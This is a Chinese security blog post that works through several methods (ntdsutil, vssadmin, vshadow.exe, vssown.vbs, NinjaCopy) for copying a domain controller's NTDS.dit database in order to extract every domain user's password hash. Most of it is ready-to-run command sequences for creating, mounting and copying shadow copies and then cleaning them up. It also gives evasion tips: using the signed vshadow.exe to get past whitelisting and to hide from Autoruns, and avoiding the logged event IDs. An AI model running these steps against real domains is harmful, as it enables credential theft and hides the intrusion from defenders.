0x00 前言
在之前的文章《导出当前域内所有用户hash的技术整理》曾介绍过通过Volume Shadow Copy实现对ntds.dit文件的复制,可用来导出域内所有用户hash。本文将尝试做系统总结,总结多种不同的方法。
0x01 简介
本文将要介绍以下内容:
· 多种实现方法
· 比较优缺点
0x02 通过Volume Shadow Copy获得域控服务器NTDS.dit文件
测试系统:
· Server 2008 R2 x64
· Server 2012 R2 x64
Volume Shadow Copy Service:
· 用于数据备份
· 支持Windows Server 2003 及以上操作系统
· 系统默认在特定条件下自动创建数据备份,如补丁安装后。在Win7系统大概每隔一周自动创建备份,该时间无法确定
· 禁用VSS会影响系统正常使用,如 System Restore和 Windows Server Backup
1、ntdsutil
域环境默认安装
支持系统:
· Server 2003
· Server 2008
· Server 2012
· …
常用命令:
(1) 查询当前快照列表
[sourcecode language=”plain”]ntdsutil snapshot "List All" quit quit[/sourcecode]
(2) 查询已挂载的快照列表
[sourcecode language=”plain”]ntdsutil snapshot "List Mounted" quit quit[/sourcecode]
(3) 创建快照
[sourcecode language=”plain”]ntdsutil snapshot "activate instance ntds" create quit quit[/sourcecode]
(4) 挂载快照
[sourcecode language=”plain”]ntdsutil snapshot "mount GUID" quit quit[/sourcecode]
(5) 卸载快照:
[sourcecode language=”plain”]ntdsutil snapshot "unmount GUID" quit quit[/sourcecode]
(6) 删除快照
[sourcecode language=”plain”]ntdsutil snapshot "delete GUID" quit quit[/sourcecode]
实际测试:
(1) 查询当前系统的快照
[sourcecode language=”plain”]
ntdsutil snapshot "List All" quit quit
ntdsutil snapshot "List Mounted" quit quit
[/sourcecode]
(2) 创建快照
[sourcecode language=”plain”]ntdsutil snapshot "activate instance ntds" create quit quit[/sourcecode]
guid为{6e31c0ab-c517-420b-845d-c38acbf77ab9}
如下图

(3) 挂载快照
[sourcecode language=”plain”]ntdsutil snapshot "mount {6e31c0ab-c517-420b-845d-c38acbf77ab9}" quit quit[/sourcecode]
快照挂载为C:\$SNAP_201802270645_VOLUMEC$\,如下图

(4) 复制ntds.dit
[sourcecode language=”plain”]copy C:\$SNAP_201802270645_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit[/sourcecode]
(5) 卸载快照:
[sourcecode language=”plain”]ntdsutil snapshot "unmount {6e31c0ab-c517-420b-845d-c38acbf77ab9}" quit quit[/sourcecode]
(6) 删除快照
[sourcecode language=”plain”]ntdsutil snapshot "delete {6e31c0ab-c517-420b-845d-c38acbf77ab9}" quit quit[/sourcecode]
2、vssadmin
域环境默认安装
支持系统:
· Server 2008
· Server 2012
· …
常用命令:
(1) 查询当前系统的快照
[sourcecode language=”plain”]vssadmin list shadows[/sourcecode]
(2) 创建快照
[sourcecode language=”plain”]vssadmin create shadow /for=c:[/sourcecode]
(3) 删除快照
[sourcecode language=”plain”]vssadmin delete shadows /for=c: /quiet[/sourcecode]
实际测试:
(1) 查询当前系统的快照
[sourcecode language=”plain”]vssadmin list shadows[/sourcecode]
(2) 创建快照
[sourcecode language=”plain”]vssadmin create shadow /for=c:[/sourcecode]
获得Shadow Copy Volume Name为\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12
如下图

(3) 复制ntds.dit
[sourcecode language=”plain”]copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12\windows\NTDS\ntds.dit c:\ntds.dit[/sourcecode]
(4) 删除快照
[sourcecode language=”plain”]vssadmin delete shadows /for=c: /quiet[/sourcecode]
3、vshadow.exe
系统默认不支持,可在Microsoft Windows Software Development Kit (SDK)中获得该工具
注:
64位系统需要使用64位的vshadow.exe
不同系统可供使用的vshadow.exe下载地址:
http://edgylogic.com/blog/vshadow-exe-versions
常用命令:
(1) 查询当前系统的快照
[sourcecode language=”plain”]vshadow.exe -q[/sourcecode]
(2) 创建快照
[sourcecode language=”plain”]vshadow.exe -p -nw C:[/sourcecode]
参数说明:
-p persistent,备份操作或是重启系统不会删除
-nw no writers,用来提高创建速度
C: 对应c盘
(3) 删除快照
[sourcecode language=”plain”]
vshadow -dx=ShadowCopySetId
vshadow -ds=ShadowCopyId
[/sourcecode]
实际测试:
(1) 查询当前系统的快照
[sourcecode language=”plain”]vshadow.exe -q[/sourcecode]
(2) 创建快照
[sourcecode language=”plain”]vshadow.exe -p -nw C:[/sourcecode]
获得SnapshotSetID为{809b77cc-cf9a-4101-b802-08e97d10e613}
获得SnapshotID为{ef99d039-9a38-4e8b-9f57-e3113d464f76}
获得Shadow copy device name为\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy10
如下图

(3) 复制ntds.dit
[sourcecode language=”plain”]copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy10\windows\NTDS\ntds.dit c:\ntds.dit[/sourcecode]
(4) 删除快照
[sourcecode language=”plain”]vshadow -dx={809b77cc-cf9a-4101-b802-08e97d10e613}[/sourcecode]
or
[sourcecode language=”plain”]vshadow -ds={ef99d039-9a38-4e8b-9f57-e3113d464f76}[/sourcecode]
4、vssown.vbs
可供参考的下载地址:
https://raw.githubusercontent.com/borigue/ptscripts/master/windows/vssown.vbs
本质上是通过wmi对ShadowCopy进行操作
通过wmi查询快照信息:
[sourcecode language=”plain”]wmic /NAMESPACE:"\\root\CIMV2" PATH Win32_ShadowCopy GET DeviceObject,ID,InstallDate /FORMAT:list[/sourcecode]
powershell实现:
https://github.com/samratashok/nishang/blob/master/Gather/Copy-VSS.ps1
扩展
1、日志文件
调用Volume Shadow Copy服务会产生日志文件,位于System下,Event ID为7036
执行ntdsutil snapshot “activate instance ntds” create quit quit会额外产生Event ID为98的日志文件
如下图

2、访问快照中的文件
查看快照列表:
[sourcecode language=”plain”]vssadmin list shadows[/sourcecode]
无法直接访问\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12中的文件
可通过创建符号链接访问快照中的文件:
[sourcecode language=”plain”]mklink /d c:\testvsc \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy12\[/sourcecode]
如下图

删除符号链接:
[sourcecode language=”plain”]rd c:\testvsc[/sourcecode]
利用思路:
如果当前系统存在快照文件,可对系统的历史文件进行访问
3、利用vshadow执行命令
参考资料:
https://bohops.com/2018/02/10/vshadow-abusing-the-volume-shadow-service-for-evasion-persistence-and-active-directory-database-extraction
执行命令:
[sourcecode language=”plain”]vshadow.exe -nw -exec=c:\windows\system32\notepad.exe c:[/sourcecode]
执行后,后台存在进程VSSVC.exe,同时显示服务Volume Shadow Copy正在运行,需要手动关闭进程VSSVC.exe
注:
手动关闭进程VSSVC.exe会生成日志7034
利用思路:
vshadow.exe包含微软签名,能绕过某些白名单的限制。如果作为启动项,Autoruns的默认启动列表不显示
0x03 通过NinjaCopy获得域控服务器NTDS.dit文件
下载地址:
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1
没有调用Volume Shadow Copy服务,所以不会产生日志文件7036
0x04 小结
本文整理了多种获得域控服务器NTDS.dit文件的方法,测试使用环境,比较优缺点。













暂无评论内容